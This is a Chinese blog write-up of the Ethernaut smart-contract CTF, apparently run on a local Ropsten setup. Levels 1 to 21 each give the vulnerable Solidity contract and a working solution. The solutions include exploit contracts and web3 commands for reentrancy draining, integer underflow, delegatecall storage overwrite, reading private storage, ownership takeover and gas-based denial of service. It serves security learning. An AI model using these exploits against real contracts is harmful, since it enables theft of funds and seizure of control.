源起

最近开始学习以太坊,不知应该从哪里入手,想着先看看文档,于是翻起 黄皮书;初看很不适应,只能对着 go-ethereum 源码理解。前后花了大半个月,来来回回看了多遍,过程虽然痛苦,总算有所收获

为了加深理解,花了一周多学习了智能合约安全问题,做完了几个 CTF:

Ethernaut
Capture the Ether
Damn Vulnerable Defi

除了 Capture the Ether 中的一道 ECDSA 随机数漏洞的问题触及了知识盲区,实在没有思路,无奈只能查看别人的答案之外,其他题目都相对简单,没太大压力

这里简单记录下解题过程

我的的账户地址

0xcF60d818200f23499ef4C88437e83da7A6d85AC7

本地搭建 Ropsten 环境

Ethernaut 网站使用的测试网络是 Rinkeby,而它的水滴不太友好,于是参考其 文档 搭建了本地 Ropsten 环境..

  • 安装 yarn
$ git clone git@github.com:OpenZeppelin/ethernaut.git
$ cd ethernaut && npm install yarn
$ node_modules/yarn/bin/yarn install
  • 编译合约
$ node_modules/yarn/bin/yarn compile:contracts
  • 修改环境
// ethernaut/client/src/constants.js
export const ACTIVE_NETWORK = NETWORKS.ROPSTEN
  • 启动
$ node_modules/yarn/bin/yarn start:ethernaut
Compiled successfully!

You can now view client in the browser.

  Local:            http://localhost:3000/
  On Your Network:  http://10.1.11.175:3000/

Note that the development build is not optimized.
To create a production build, use npm run build.
  • 访问
http://localhost:3000/

1. Fallback

题目

要求取出合约实例的全部 balance

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Fallback {
    using SafeMath for uint256;
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() public {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

题解

调用 contribute() 后,再发送交易,会 fallback 进入到 recevie() 函数,最后 withdraw()

await contract.contribute({value: toWei("0.0001")})
await sendTransaction({value: toWei("0.0001"), from: player, data: "0x", to: contract.address})
await contract.withdraw()

await getBalance(contract.address)
"0"

2. Fallout

题目

要求获得 ownership

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;
    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

题解

'构造函数' Fal1out() 拼写错误,成了 public 函数,直接调用即可

await contract.Fal1out()

await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"

3. Coin Flip

题目

要求连续猜对10次,每个区块只能踩一次

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

题解

在攻击合约中,计算出答案后传给目标合约 flip() 即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract ExploitCoinFlip {
    using SafeMath for uint256;
    ICoinFlip target = ICoinFlip(0xb146b28ca8164E15C15FF28415EB821E7EF82Ef5);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);

        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

4. Telephone

题目

要求获得 ownership

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

题解

tx.origin 是外部账户地址,msg.sender 是提交或消息调用的发起方

在自己的合约中调用 changeOwner() 即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract ExploitTelephone {
    ITelephone target = ITelephone(0x4BF58D4613224d6BD0657F61ce9A46c30Cba2B67);

    function attack() public {
        target.changeOwner(msg.sender);
    }
}
await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"

5. Token

题目

要求获得超过20个 token

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

题解

transfer() 函数中的 require 条件存在溢出:两个无符号整数相减,结果仍是无符号整数,必定大于等于0

(await contract.balanceOf(player)).toString()
"20"

await contract.transfer("0x0000000000000000000000000000000000000000", ((await contract.balanceOf(player)).toNumber() + 1).toString())

(await contract.balanceOf(player)).toString()
"115792089237316195423570985008687907853269984665640564039457584007913129639935"

6. Delegation

题目

要求获得 ownership

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

题解

Delegation 合约将调用委托给 Delegate 对应函数,但修改自身账户状态,因此直接调用其 pwn() 函数即可

await contract.owner()
"0x6Ea2A13523bDbB97ED54bF4892A2ec82dE117Fd9"

await contract.sendTransaction({data: web3.utils.keccak256("pwn()").slice(2, 2+8)})

await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"

7. Force

题目

要求使得合约实例的 balance 大于0

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {
    /*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/
}

题解

利用 SELFDESTRUCT 强制发送 ETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ExploitForce {
    constructor(address payable target) public payable {
        require(msg.value > 0);
        selfdestruct(target);
    }
}

8. Vault

题目

要求猜出答案

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) public {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

题解

两个知识点

  • 合约部署时,其构造函数从 initCode 获取参数的方式
  • 合约 storage 变量在状态树中的存储方式

两种思路

  • 通过 EtherScan 查看合约部署时的 inputdata
  • 通过 getStorageAt 向后端节点查询地址存储树
await contract.locked()
true

await contract.unlock(await web3.eth.getStorageAt(contract.address, 1))

await contract.locked()
false

9. King

题目

要求使得 receive() 函数无法成功执行,造成拒绝服务

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {
    address payable king;
    uint256 public prize;
    address payable public owner;

    constructor() public payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address payable) {
        return king;
    }
}

题解

king.transfer() 是个 CALL 调用,参考黄皮书,将执行目标地址的代码(如果存在的话)

Solidity 编译的 EVM 代码,通常流程是检查 CALLVALUE,如果大于0的话,dispatch 到对应的 payable receive()payablefallback() 函数,失败则 REVERT

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IKing {
    function _king() external view returns (address payable);
}

contract ExploitKing {
    address payable public target = 0x2c7654db6Fa01d33Eb596957f192B8DDc90A156E;

    constructor() public payable {
        require(msg.value > 1 ether);
    }

    function attack() public payable {
        uint256 value = address(this).balance;
        (bool success, ) = target.call.value(value)("");
        success;

        address payable king = (IKing(target))._king();
        require(king == address(this), "target.king not changed");
    }
}

10 Re-entrancy

题目

要求取出合约实例的全部 balance

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call.value(_amount)("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

题解

withdraw() 中先发起外部调用,后修改状态,是个典型的重入漏洞:攻击者可在外部调用中再次调用 withdraw()

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Reentrance.sol";

contract ExploitReentrance2 {
    Reentrance public target =
        Reentrance(0x1d47Dd62f79FF4108eD115F44054D301dED116B2);

    function attack() public payable {
        uint256 amount = address(target).balance;
        require(msg.value == amount);

        target.donate.value(amount)(address(this));
        target.withdraw(amount);
    }

    receive() external payable {
        uint256 amount = msg.sender.balance;
        if (amount > 0) {
            Reentrance(msg.sender).withdraw(amount);
        }
    }
}

11. Elevator

题目

要求修改合约实例的 top 变量为 true

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

题解

合约中存在对 building.isLastFloor() 的两次外部调用,攻击合约分别返回不同结果即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Elevator.sol";

contract ExploitElevator {
    Elevator public target =
        Elevator(0x9Fe88Ab29D0251aD2f9FC9b7Fe58a0e71ed42D12);

    function isLastFloor(uint256 _floor) public view returns (bool) {
        uint256 floor = target.floor();
        return (floor == _floor);
    }

    function attack() public {
        uint256 floor = target.floor();
        target.goTo(floor + 1);
    }
}

12. Privacy

题目

要求获得 data[2] 的值

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(now);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) public {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

题解

类似题目 8.Vault,同样有两种方式解答,可以根据合约部署时的 inputdata,或是 getStorageAt 获取存储状态

进阶在于:需要理解 Solidity 对成员状态的存储规则(含 packing);以及理解类型间转换规则

参考 Solidity 文档即可

await contract.locked()
true

await web3.eth.getStorageAt(contract.address, 5)
"0xb808c06e48b289ecd85b95944f0f9d4b3b3b72e3f1385bc01c8db1ea6ef65aa7"

const answer = (await web3.eth.getStorageAt(contract.address, 5)).slice(0, 2 + 32)
"0xb808c06e48b289ecd85b95944f0f9d4b"

await contract.unlock(answer)

await contract.locked()
false

13. Gatekeeper One

题目

要求绕过几个条件,成功调用 enter()

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract GatekeeperOne {
    using SafeMath for uint256;
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft().mod(8191) == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
            "GatekeeperOne: invalid gateThree part one"
        );
        require(
            uint32(uint64(_gateKey)) != uint64(_gateKey),
            "GatekeeperOne: invalid gateThree part two"
        );
        require(
            uint32(uint64(_gateKey)) == uint16(tx.origin),
            "GatekeeperOne: invalid gateThree part three"
        );
        _;
    }

    function enter(bytes8 _gateKey)
        public
        gateOne
        gateTwo
        gateThree(_gateKey)
        returns (bool)
    {
        entrant = tx.origin;
        return true;
    }
}

题解

gateOne()gateThree() 比较简单

难点在于 gateTwo(),要求调用剩余 gas 正好为 8192 的倍数

容易写出如下解题合约,关键在于参数 gasCost 如何获取

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract ExploitGatekeeperOne {
    address public target;

    constructor() public {
        target = 0xdfB8A45a119D20eD7aB9762901FE9Fccb4950898;
    }

    function attack(uint256 gasCost) public {
        uint64 gateThreeKeyPart1 = uint64(0x00000000);
        uint64 gateThreeKeyPart2 = uint64(0xFFFFFFFF00000000);
        uint64 gateThreeKeyPart3 = uint64(uint16(tx.origin));

        uint64 gateKey = gateThreeKeyPart1 + gateThreeKeyPart2 + gateThreeKeyPart3;
        bytes8 _gateKey = bytes8(gateKey);

        uint256 gas = gasleft();
        uint256 sendGas = gas- gas % 8191;
        sendGas = sendGas - 8191 * 10;
        sendGas = sendGas + gasCost;

        IGatekeeperOne(target).enter.gas(sendGas)(_gateKey);
    }
}

多次尝试之后,我找到了两种方式

手动计算

随便以一个参数执行 attack 交易,失败后查看 EtherScan: Geth VM Trace Transaction,手动统计消耗的 gas

Depth 为2的首条记录 [173] 开始,找到 GAS OPCODE 为止 [232],累加 GasCost

这个例子中

[173].Gas - [232].Gas + [232].GasCost = 2891424 - 2891215 + 2 = 211
Step PC Operation Gas GasCost Depth
[171] 432 DUP8 2973549 3 1
[172] 433 CALL 2973546 2891524 1
[173] 0 PUSH1 2891424 3 2
[174] 2 PUSH1 2891421 3 2
[175] 4 MSTORE 2891418 12 2
...
[230] 170 PUSH2 2891221 3 2
[231] 173 PUSH2 2891218 3 2
[232] 176 GAS 2891215 2 2
...

缺点是,EtherScan 只显示前1000行指令,如果合约再复杂些就不适用了

可以改用 Remix 调试器,只是不太直观;另外,Remix 在调试一个交易内的多个外部调用时存在 bug,这是另一个伤心的故事了...

备注

在这个过程中,我尝试对着黄皮书逐行理解 gas 消耗,最后发现有很多 OPCODE 无法对上,比如 CALL 的消耗;再有是 SLOAD,有时候消耗多,有时候消耗少

只能翻看 go-ethereum 源码,最后发现历史上很多 EIP 修改了 gas 的计算方式,比如 EIP-2929: Gas cost increases for state access opcodes

而且此前在学习过程中,也发现对于区块难度的计算方式,源码与黄皮书存在出入

教训:黄皮书虽然经常更新,但并不靠谱

暴力尝试

利用 web3.eth.estimateGas() 的实现原理:后端节点二分折半得到 gas,执行交易,失败时抛出异常

因此可以不断递增参数尝试 web3.eth.estimateGas(),得到答案

async function main() {
    const targetContract = '0x7C85fD497a3C3b79e6Abc3E23f464A9Ed85Fe170';
    const ContractABI = require('../build/contracts/ExploitGateKeeperOne.json').abi;
    const contract = new ropstenWeb3.eth.Contract(ContractABI, targetContract);

    for (var i = 0; i < 8192; i++) {
        try {
            const tx = contract.methods.attack(i);
            const gas = await tx.estimateGas({from: commerceAccountAddr});
        } catch (error) {
            console.log(`attack(${i}) catch ${error.message}`);
            continue;
        };

        console.log(`attack(${i}) success`);
        break;
    }
}

main();

输出

...
attack(207) catch Returned error: execution reverted
attack(208) catch Returned error: execution reverted
attack(209) catch Returned error: execution reverted
attack(210) catch Returned error: execution reverted
attack(211) success

14. Gatekeeper Two

题目

要求绕过几个条件,成功调用 enter()

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
                uint64(_gateKey) ==
                uint64(0) - 1
        );
        _;
    }

    function enter(bytes8 _gateKey)
        public
        gateOne
        gateTwo
        gateThree(_gateKey)
        returns (bool)
    {
        entrant = tx.origin;
        return true;
    }
}

题解

参考黄皮书公式 (85)

\mathbf{a}^* \equiv (\boldsymbol{\sigma}[s]_{\mathrm{n}}, \boldsymbol{\sigma}[s]_{\mathrm{b}} - v, \boldsymbol{\sigma}[s]_{\mathbf{s}}, \boldsymbol{\sigma}[s]_{\mathrm{c}})

合约部署过程中合约代码不存在,完成后才被赋值

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract ExploitGatekeeperTwo {
    address public target = 0x8C847ef047b7275d5e1Dc4EB84d058092F7e1F2b;

    constructor() public {
        uint64 hash = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 gateKey = (uint64(0) - 1) ^ hash;

        bytes8 _gateKey = bytes8(gateKey);
        IGatekeeperOne(target).enter(_gateKey);
    }
}

15. Naught Coin

题目

要求将自身账户余额全部取出

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = now + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) public ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value)
        public
        override
        lockTokens
        returns (bool)
    {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(now > timeLock);
            _;
        } else {
            _;
        }
    }
}

题解

lockTokens() 是个障眼法,通过 ERC20 的 approve()transferFrom() 转出即可...

(await contract.allowance(player, "0x2f4De7cf42847744B59D8189777b919F60fa8DB3")).toString()
"1000000000000000000000000"

await contract.approve("0x2f4De7cf42847744B59D8189777b919F60fa8DB3", (await contract.balanceOf(player)).toString())
await contract.transferFrom(player, '0x0000000000000000000000000000000000000000', (await contract.balanceOf(player)).toString())

(await contract.balanceOf(player)).toString()
"0"

16. Preservation

题目

要求获得 ownership

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(
        address _timeZone1LibraryAddress,
        address _timeZone2LibraryAddress
    ) public {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(
            abi.encodePacked(setTimeSignature, _timeStamp)
        );
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

题解

LibraryContractPreservation 的 storage 布局并不相同,而 DELETEGATE 修改的是自身状态

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Preservation.sol";

contract ExploitLibraryContract {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;

    function setTime(uint256 _time) public {
        owner = address(_time);
    }
}

contract ExploitPreservation {
    Preservation public target = Preservation(0xc29450990169bB0c4Ec93b3AEaa803e64809b1c1);

    function attack() public {
        address exploit = address(new ExploitLibraryContract());

        target.setFirstTime(uint256(exploit));

        address timeZone1Library = target.timeZone1Library();
        require(
            exploit == timeZone1Library,
            "setFirstTime delegatecall should modify timeZone1Library to exploit"
        );

        target.setFirstTime(uint256(msg.sender));

        address owner = target.owner();
        require(
            msg.sender == owner,
            "setFirstTime delegatecall should modify owner to msg.sender"
        );
    }
}

17. Recovery

题目

要求找回丢失的 0.5 ether

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    using SafeMath for uint256;
    // public variables
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(
        string memory _name,
        address _creator,
        uint256 _initialSupply
    ) public {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value.mul(10);
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender].sub(_amount);
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

题解

找到其构造函数创建的 SimpleToken 实例地址,调用它的 destroy() 函数即可

两种方式:

1.手工在 EtherScan 查看交易引起的 State Change

2.参考黄皮书公式(81),手动计算实例地址 (不过需要先在 EtherScan 查看部署交易的 Nonce,不如直接再查出实例地址了,手动计算是多此一举..)

\begin{aligned}
L_{\mathrm{A}}(s, n, \zeta, \mathbf{i}) \equiv \begin{cases}
\mathtt{RLP}\big(\;(s, n)\;\big) & \text{if}\ \zeta = \varnothing \\
(255) \cdot s \cdot \zeta \cdot \mathtt{KEC}(\mathbf{i}) & \text{otherwise}
\end{cases}
\end{aligned}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ISimpleToken {
    function destroy(address payable _to) external;
}

contract ExploitSimpleToken {
    constructor() public {
        ISimpleToken token = ISimpleToken(0x92db2C9dcc8e08f6ee013D3162Fc96d8a52CC1b2);
        token.destroy(msg.sender);
    }
}

18. MagicNumber

题目

要求提供一个 RUNTIME CODE 长度在 10 以内的合约,调用时返回 42

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {
    address public solver;

    constructor() public {}

    function setSolver(address _solver) public {
        solver = _solver;
    }

    /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

题解

1.先推导 RUNTIME CODE:

根据返回指令 RETURN 反推,它要求栈上前两个元素,分别为返回值 (42) 所在内存地址 (0) 和长度 (0x20)

再根据内存指令 MSTORE 反推,它要求栈上前两个元素,分别表示待设置的数值 (42) 和内存地址 (0)

得到汇编代码如下,正好长度为10

PUSH 0x2a ;; PUSH 42
PUSH 0
MSTORE
PUSH 0x20
PUSH 0
RETURN

转成 HEX 是 602a60005260206000f3

2.再推导 CreateCode

这个比较简单,找个合约编译后参考 BYTECODE 即可

var bytecode = "0x58600c8038038082843982f3602a60005260206000f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});

19. Alien Codex

要求获得 ownership

题目

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function make_contact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

题解

类似题目 12.Privacy,需要了解 Solidity 中非变长 Array 的存储规则

利用 revise() 可以任意指定 i 的漏洞,覆盖 owner (slot0)

await contract.make_contact()

var offset = '0x' + (2n ** 256n - BigInt(web3.utils.keccak256('0x' + '1'.padStart(64, '0')))).toString(16);
await contract.revise(offset, '0x000000000000000000000001cF60d818200f23499ef4C88437e83da7A6d85AC7')

await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"

20. Denial

题目

要求造成 withdraw() 拒绝服务

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Denial {
    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(
            amountToSend
        );
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

题解

EVM 的执行需要消耗 gas,partner.call.value(amountToSend)(""); 调用了攻击合约,在 payable receive() 中将 gas 全部消耗即可

方式

不断递归调用 withdraw() 消耗 gas

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IDenial {
    function setWithdrawPartner(address _partner) external;
    function withdraw() external;
}

contract ExploitDenial {
    IDenial public target = IDenial(0xE63901b33587E6a3BE40469249594b62702847c5);

    function attack() public {
        target.setWithdrawPartner(address(this));
    }

    fallback() external payable {
        target.withdraw();
    }
}

一个大坑

此前有印象读过文档说 assert(false) 会消耗 gas,测试发现不会..

查看编译后的 BYTECODE 和最新文档后发现:Solidity 0.8.0 之前的版本,将 assert 编译为 INVALID,会消耗所有 gas;而 0.8.0 版本后,assert 编译为 REVERT,不会消耗所有 gas

参考 go-ethereum 源码

// github.com/ethereum/go-ethereum@v1.10.6/core/vm/evm.go
func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error)
    ret, err = evm.interpreter.Run(contract, input, false)
    gas = contract.Gas

    if err != nil {
        evm.StateDB.RevertToSnapshot(snapshot)
        if err != ErrExecutionReverted {
            gas = 0
        }
    }
    return ret, gas, err

// github.com/ethereum/go-ethereum@v1.10.6/core/vm/interpreter.go
func (in *EVMInterpreter) Run(contract *Contract, input []byte, readOnly bool) (ret []byte, err error)
    op = contract.GetOp(pc)
    operation := in.cfg.JumpTable[op]
    if operation == nil {
        return nil, &ErrInvalidOpCode{opcode: op}
    }

Panic exceptions used to use the invalid opcode before Solidity 0.8.0, which consumed all gas available to the call.
Exceptions that use require used to consume all gas until before the Metropolis release.
-- Panic via assert and Error via require

教训:文档要读最新的...

21. Shop

题目

要求以低于 100 的价格购买商品,同时 price() 消耗 gas 不能超过 3300

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price.gas(3300)() >= price && !isSold) {
            isSold = true;
            price = _buyer.price.gas(3300)();
        }
    }
}

题解

类似题目 11.Elevator,但有 gas 的限制

因为 SSTORE 的成本太高,所以无法在攻击合约中保存状态

因此只能通过合约本身的状态变化,即 isSold 来判断是否二次调用

